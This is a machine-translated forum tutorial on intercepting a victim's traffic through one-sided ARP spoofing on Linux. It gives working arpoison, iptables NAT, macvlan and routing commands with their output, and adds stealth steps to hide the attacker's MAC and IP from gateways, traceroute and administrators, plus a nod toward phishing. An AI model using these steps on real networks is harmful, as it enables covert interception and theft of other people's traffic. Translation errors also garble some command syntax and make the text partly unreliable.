Another way to intercept traffic through ARP Spoofing

    There were already a lot of articles on the topic of classic ARP spoofing on Habré, but all of them were similar in that in order to fully intercept traffic, it was necessary to replace ARP records for two machines. Typically, this is the victim and its default gateway. However, the idea of ​​spoofing a gateway is not always good. It may well have an attack detector on board, which will double-report to the administrator that the network is being broken and the freebie will end before it starts. This article will discuss a method of intercepting traffic in which an attack is made only on the host victim. As usual in such cases, the article is purely for review, use to the detriment is punishable by law, etc.
    There are a lot of letters under the cut.



    I will make a reservation right away that Linux will be used for attacks. For network security professionals, please do not kick.

    A little bit about ARP


    When writing an article, I will assume that the reader at least knows approximately who ARP is, why and how it works. You can read here. In short, ARP is used to understand which physical MAC address the packet should be sent to if the destination IP is known. Accordingly, replacing the real MAC address of a certain node with your victim’s ARP table, we will ensure that the victim sends packets to such a node to us. We can either directly forward such packages to the real recipient, or change them on the go before sending. There is one problem. If we simply forward the packets further, we will see only half the traffic, since the recipient will send the response directly to the victim. Typically, to solve this problem, the recipient is the second victim and is subjected to a symmetrical attack. But on the other hand, you usually want to intercept the victim’s Internet traffic, which means that the recipient will be a network gateway. And if this gateway is not a simple home router, but something more serious,

    Simple attack option


    So, even if we want to intercept the victim’s traffic, we can only send “deliberately singed” packets to the victim’s car. The solution is to raise NAT on your machine and send traffic to the gateway from your interface instead of direct forwarding. In this case, we work for the victim as another NAT gateway.

    Network configuration

    Let there be 192.168.0.0/24 on the network with the 192.168.0.1 gateway . For convenience, let the MAC addresses of the adapters be of the form 00-00-00-00-00-XX , where XX is the last digit of the IP address, that is, the MAC of the gateway will be 00-00-00-00-00-01 .

    There are cars on the network:

    192.168.0.1 / 00-00-00-00-00-01 - gateway
    192.168.0.3 / 00-00-00-00-00-03 - victim

    eth0 - 192.168.0.5 / 00-00-00 -00-00-05 - our car, with which we will attack. A single eth0 network interface is connected to the network

    Utilities

    For ARP spoofing, we will use the arpoison utility . It, unlike arpspoof from the dsniff package , does not require the correct IP configuration of the interface from which spoofing occurs (we will need this a bit later).

    Go

    So, for starters, let's enable packet routing:
    # sysctl net.ipv4.ip_forward = 1
    # iptables -A FORWARD -j ACCEPT
    

    Now run ARP spoofing:
    # arpoison -i eth0 -d 192.168.0.3 -s 192.168.0.1 -t 00: 00: 00: 00: 00: 03 -r 00: 00: 00: 00: 00: 05
    ARP reply 1 sent via eth0
    ARP reply 2 sent via eth0
    ARP reply 3 sent via eth0
    

    everything, the victim’s machine is now confident that 192.168.0.1 is our eth0. You can check and make sure (perform on the victim):
    # arp
    Address HWtype HWaddress Flags Mask Iface
    192.168.0.1 ether 00: 00: 00: 00: 00: 05 C eth0
    

    we raise NAT on our machine (for simplicity, everything that is forwarded and sent not to localhost will be masquerade):
    # iptables -t nat -A POSTROUTING! -d 127.0.0.1/8 -j MASQUERADE
    

    done. We check by pinging the gateway from the victim, on our machine we see something like this:
    # tcpdump -i eth0 -ne icmp
    14: 26: 25.356528 00: 00: 00: 00: 00: 03> 00: 00: 00: 00: 00: 05, ethertype IPv4 (0x0800), length 98: 192.168.0.3> 192.168.0.1: ICMP echo request, id 35670, seq 320, length 64
    14: 26: 25.356578 00: 00: 00: 00: 00: 05> 00: 00: 00: 00: 00: 01, ethertype IPv4 (0x0800), length 98: 192.168.0.5> 192.168.0.1: ICMP echo request, id 35670, seq 320, length 64
    14: 26: 25.356796 00: 00: 00: 00: 00: 01> 00: 00: 00: 00: 00: 05, ethertype IPv4 (0x0800), length 98: 192.168.0.1> 192.168.0.5: ICMP echo reply, id 35670, seq 320, length 64
    14: 26: 25.356835 00: 00: 00: 00: 00: 05> 00: 00: 00: 00: 00: 03, ethertype IPv4 (0x0800), length 98: 192.168.0.1> 192.168.0.3: ICMP echo reply, id 35670, seq 320, length 64
    

    it is clear that ping came to us, from us from our IP went to the gateway, and the returning response went to the sender. In a word, normal NAT.

    We complicate the task


    We intercepted the traffic, but at the same time managed to light up our IP and MAC, which will allow us to take us as a soft spot when we first open the wireshark on the victim or when viewing the logs on the gateway. Let's try to repeat the focus, but at the same time to inherit less. To do this, raise the virtual adapter with a different MAC and IP.

    We create an adapter, it will receive a random MAC, let it be 00-00-00-00-00-06:
    # ip link add link eth0 dev virt0 type macvlan
    # ifconfig virt0 up
    # ifconfig virt0
    virt0: flags = 4098  mtu 1500
            ether 00: 00: 00: 00: 00: 06 txqueuelen 0 (Ethernet)
            RX packets 0 bytes 0 (0.0 B)
            RX errors 0 dropped 0 overruns 0 frame 0
            TX packets 0 bytes 0 (0.0 B)
            TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
    

    write the IP address or take it via DHCP. In the second case, after receiving the address, do not forget to throw all the routes through virt0:
    # dhcpcd virt0
    dhcpcd [28920]: version 6.3.2 starting
    dhcpcd [28920]: DUID 00: 01: 00: 01: 19: 9d: 11: 86: 00: 00: 00: 00: 00: 05
    dhcpcd [28920]: virt0: IAID 00: e8: 8a: 01
    dhcpcd [28920]: virt0: soliciting an IPv6 router
    dhcpcd [28920]: virt0: soliciting a DHCP lease
    dhcpcd [28920]: virt0: offered 192.168.0.6 from 192.168.0.1
    dhcpcd [28920]: virt0: leased 192.168.0.6 for 3600 seconds
    dhcpcd [28920]: virt0: adding route to 192.168.0.0/24
    dhcpcd [28920]: virt9: adding default route via 192.168.0.1
    dhcpcd [28920]: forked to background, child pid 29059
    # dhcpcd -x virt0
    dhcpcd [29192]: sending signal TERM to pid 29059
    dhcpcd [29192]: waiting for pid 29059 to exit
    # ifconfig virt0 down
    # ifconfig virt0 up
    

    after such manipulations, we should have a virt0 adapter with MAC 00-00-00-00-00-06 and IP 192.168.0.6 and without a single route through it.

    The next step is to add a routing rule in which all packets coming from virt0 will be forwarded through it:
    # ip route add 192.168.0.0/24 dev virt0 table 100
    # ip rule add iif virt0 lookup 100
    # ip route show table 100
    192.168.0.0/24 dev virt0 scope link 
    # ip rule
    0: from all lookup local 
    32765: from all iif virt0 lookup 100 
    32766: from all lookup main 
    32767: from all lookup default 
    

    Now you can run spoofing and see what happened:
    # arpoison -i virt0 -d 192.168.0.3 -s 192.168.0.1 -t 00: 00: 00: 00: 00: 03 -r 00: 00: 00: 00: 00: 06
    

    # tcpdump -i eth0 -ne icmp
    14: 26: 25.356528 00: 00: 00: 00: 00: 03> 00: 00: 00: 00: 00: 06, ethertype IPv4 (0x0800), length 98: 192.168.0.3> 192.168.0.1: ICMP echo request, id 35670, seq 320, length 64
    14: 26: 25.356578 00: 00: 00: 00: 00: 06> 00: 00: 00: 00: 00: 01, ethertype IPv4 (0x0800), length 98: 192.168.0.6> 192.168.0.1: ICMP echo request, id 35670, seq 320, length 64
    14: 26: 25.356796 00: 00: 00: 00: 00: 01> 00: 00: 00: 00: 00: 05, ethertype IPv4 (0x0800), length 98: 192.168.0.1> 192.168.0.6: ICMP echo reply, id 35670, seq 320, length 64
    14: 26: 25.356835 00: 00: 00: 00: 00: 05> 00: 00: 00: 00: 00: 03, ethertype IPv4 (0x0800), length 98: 192.168.0.1> 192.168.0.3: ICMP echo reply, id 35670, seq 320, length 64
    

    at first glance, everything is beautiful, but we lit up our real MAC. This happened because, on the ARP request, which MAC of 192.168.0.6 our machine happily answered the gateway with the real address of the network card. To prevent this, do the following:
    # sysctl net.ipv4.conf.all.arp_ignore = 1
    

    Now only a real adapter will respond to ARP requests. It remains to solve the problem of delivering the MAC address of the virtual adapter to the gateway. You can do this, for example, using the same arpoison, specifying real addresses and a larger interval. In this case, such ARP responses should not cause suspicion:
    # arpoison -i virt0 -d 192.168.0.1 -s 192.168.0.6 -t 00: 00: 00: 00: 00: 01 -r 00: 00: 00: 00: 00: 06 -w 5
    

    everything, now the gateway knows where to send the answer and the picture becomes beautiful:

    # tcpdump -i eth0 -ne icmp
    14: 26: 25.356528 00: 00: 00: 00: 00: 03> 00: 00: 00: 00: 00: 06, ethertype IPv4 (0x0800), length 98: 192.168.0.3> 192.168.0.1: ICMP echo request, id 35670, seq 320, length 64
    14: 26: 25.356578 00: 00: 00: 00: 00: 06> 00: 00: 00: 00: 00: 01, ethertype IPv4 (0x0800), length 98: 192.168.0.6> 192.168.0.1: ICMP echo request, id 35670, seq 320, length 64
    14: 26: 25.356796 00: 00: 00: 00: 00: 01> 00: 00: 00: 00: 00: 06, ethertype IPv4 (0x0800), length 98: 192.168.0.1> 192.168.0.6: ICMP echo reply, id 35670, seq 320, length 64
    14: 26: 25.356835 00: 00: 00: 00: 00: 06> 00: 00: 00: 00: 00: 03, ethertype IPv4 (0x0800), length 98: 192.168.0.1> 192.168.0.3: ICMP echo reply, id 35670, seq 320, length 64
    


    Remained a little. First, prohibit the system from accepting incoming (non-forwarded) packets on a virtual interface, so that someone curious does not compare the list of services on 192.168.0.6 and 192.168.0.5

    # iptables -A INPUT -i virt0 -j DROP
    


    Secondly (thanks AEP ) turn off ICMP time exceeded in-transit so that our real address does not appear in traceroute
    # iptables -A OUTPUT -p icmp --icmp-type 11 -j DROP
    


    Thirdly (thanks kay ) add an increase in TTL so that routing through us is not visible on pings and traceroute
    # iptables -t mangle -A PREROUTING -i virt0 -j TTL --ttl-inc 1
    


    Instead of a conclusion


    As a result, we managed to intercept traffic, attacking only the victim’s machine, without revealing our real IP and MAC. In this case, intercepted packets are routed by standard means. You can also configure more fun routing rules, open port 80 on virt0 and practice phishing, but that's another story.

    UPD: it would be interesting to read in the comments how such a scheme can still be ignited without having l3 routing in the network.

    Also popular now: